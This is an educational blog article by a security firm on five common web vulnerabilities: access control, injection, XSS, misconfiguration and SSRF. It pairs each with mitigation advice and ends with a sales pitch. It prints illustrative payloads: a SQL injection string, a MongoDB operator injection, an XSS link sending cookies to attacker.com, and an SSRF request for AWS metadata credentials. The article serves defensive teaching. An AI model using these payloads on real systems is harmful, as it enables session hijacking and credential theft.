Web application security remains one of the biggest challenges for organizations in 2026. Despite advances in frameworks and development tools, classic vulnerabilities continue to appear at an alarming rate in our security audits. In this article, we analyze the five web vulnerabilities we detect most frequently, with practical examples and clear recommendations for mitigation.
Broken Access Control
Broken access control has held the top spot in the OWASP Top 10 since 2021, and for good reason. In 2026, we still find this vulnerability in over 60% of the applications we audit. It occurs when an application fails to properly verify whether a user has the permissions to access a resource or perform a given action.
Practical example: IDOR
One of the most frequent patterns is Insecure Direct Object References (IDOR). Consider an API that returns a user's billing data:
GET /api/invoices/1542
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
If the server returns the invoice with ID 1542 without checking that it belongs to the authenticated user, an attacker can simply iterate over IDs to access other customers' invoices.
Other common vectors
- Vertical privilege escalation: a standard user modifies request parameters to access admin functionality.
- JWT token manipulation: if signature verification is weak or absent, an attacker can alter token claims.
- Unrestricted endpoints: administrative endpoints exposed without proper authentication.
How to mitigate it
- Implement access controls on the server side; never rely solely on client-side validation.
- Use a centralized role-based (RBAC) or attribute-based (ABAC) authorization model.
- Deny access by default: every resource should be inaccessible unless permission is explicitly granted.
- Log and monitor unauthorized access attempts.
SQL and NoSQL Injection
Injection vulnerabilities remain a classic that refuses to disappear. While SQL injection has decreased slightly due to the widespread adoption of ORMs, NoSQL injection has grown with the popularity of MongoDB and document databases.
Vulnerable code vs. secure code
Let's first look at a vulnerable example using a direct SQL query:
// VULNERABLE - Direct concatenation of user input
const query = `SELECT * FROM users WHERE email = '${req.body.email}' AND password = '${req.body.password}'`;
db.execute(query);
An attacker can send ' OR '1'='1' -- as the email value, which modifies the query logic and allows authentication without valid credentials.
The secure version uses parameterized queries:
// SECURE - Parameterized query
const query = "SELECT * FROM users WHERE email = $1 AND password = $2";
db.execute(query, [req.body.email, hashedPassword]);
NoSQL injection in MongoDB
With MongoDB, the attack pattern is different but equally dangerous:
// VULNERABLE - Attacker can send an object instead of a string
// If req.body.password = { "$ne": "" }
const user = await User.findOne({
email: req.body.email,
password: req.body.password, // Accepts a query operator
});
How to mitigate it
- Always use parameterized queries or prepared statements.
- Validate and sanitize user inputs, especially expected data types.
- Apply the principle of least privilege for database permissions.
- Use static analysis (SAST) tools that detect injection patterns in source code.
Cross-Site Scripting (XSS)
XSS continues to be one of the most widespread vulnerabilities in web applications. It allows an attacker to inject malicious scripts that execute in other users' browsers, compromising their sessions, personal data, or redirecting them to fraudulent sites.
Types of XSS
- Reflected: the payload is included in the URL or request parameters and reflected directly in the server's response.
- Stored: the payload is saved in the database (e.g., in a comment) and served to all users who view that content.
- DOM-based: DOM manipulation happens entirely on the client side, without the payload passing through the server.
Example payload and its impact
An attacker discovers that a search field reflects input without sanitization:
https://example.com/search?q=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
If a user clicks that link, their session cookies are sent to the attacker's server, allowing session hijacking.
How to mitigate it
- Escape all HTML output according to context (HTML, attributes, JavaScript, CSS, URL).
- Use modern frameworks that escape by default, such as React (
{variable}automatically escapes) or Vue.js. - Implement a strict Content Security Policy (CSP) that limits script execution.
- Configure session cookies with the
HttpOnly,Secure, andSameSiteflags. - Avoid using
innerHTMLordangerouslySetInnerHTMLwith user-provided data.
Security Misconfiguration
This category encompasses a wide range of errors that facilitate attacks. It is not a vulnerability in the code itself, but rather poor practices in server, framework, or infrastructure configuration.
What we commonly find
In our audits, the most frequent findings in this category include:
- Debug mode enabled in production: frameworks like Django or Laravel reveal full error traces, internal routes, and environment variables.
- Default credentials: admin panels with
admin/adminoradmin/password, databases without passwords, management consoles accessible from the internet. - Missing security headers: absence of
X-Content-Type-Options,X-Frame-Options,Strict-Transport-Security, and other critical headers. - Directory listing enabled: allows an attacker to enumerate all files available in a web server directory.
- Unnecessary exposed services: database ports, message queues, or monitoring panels accessible without authentication.
Example: exposed headers
HTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
X-Powered-By: PHP/8.1.2
These headers reveal exact software versions, making it easier for an attacker to find specific exploits for those versions.
How to mitigate it
- Establish a documented hardening process for each component in the stack.
- Remove headers that reveal software versions (
Server,X-Powered-By). - Disable unused features: unnecessary HTTP methods, directory listing, default accounts.
- Automate security configuration reviews with tools such as CIS Benchmarks.
- Maintain an up-to-date software inventory and apply security patches regularly.
Server-Side Request Forgery (SSRF)
SSRF has gained prominence in recent years, especially with the massive adoption of cloud services. This vulnerability allows an attacker to force the server to make HTTP requests to arbitrary destinations, including internal services that should not be accessible from the outside.
Example in cloud environments
One of the most dangerous SSRF attacks in cloud infrastructure involves accessing the instance metadata service:
POST /api/fetch-url
Content-Type: application/json
{
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
If the application allows the user to specify a URL that the server then fetches (for example, to preview a link or import an image), an attacker can target the AWS metadata endpoint (169.254.169.254) and obtain temporary IAM credentials with access to other services in the account.
Other SSRF vectors
- Internal port scanning: using the application as a proxy to discover services on the internal network.
- Internal database access: Redis, Elasticsearch, or other services listening on the private network without authentication.
- Firewall bypass: the request originates from the internal server, circumventing perimeter firewall rules.
How to mitigate it
- Validate and sanitize user-provided URLs.
- Implement an allowlist of permitted domains and protocols.
- Block requests to private IP addresses (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) and the link-local range (169.254.0.0/16).
- Disable automatic HTTP redirects in server-side requests.
- In cloud environments, use IMDSv2 (which requires a pre-request token) instead of IMDSv1.
Conclusion
The five vulnerabilities we have analyzed are not new, but they remain the most prevalent in the web applications we audit. The good news is that all of them have well-established and documented mitigations. The key is integrating security from the earliest stages of development, not as a final step.
At Secra, we take a proactive approach: we combine manual security audits with automated static analysis (SAST) and dynamic analysis (DAST) tools to provide comprehensive coverage. If you want to understand the security posture of your web applications, contact our team for a no-obligation initial assessment.
About the author
Secra Solutions
Ethical hackers with OSCP, OSEP, OSWE, CRTO, CRTL and CARTE certifications, 7+ years of experience in offensive cybersecurity, and authors of CVE-2025-40652 and CVE-2023-3512.
Meet the team →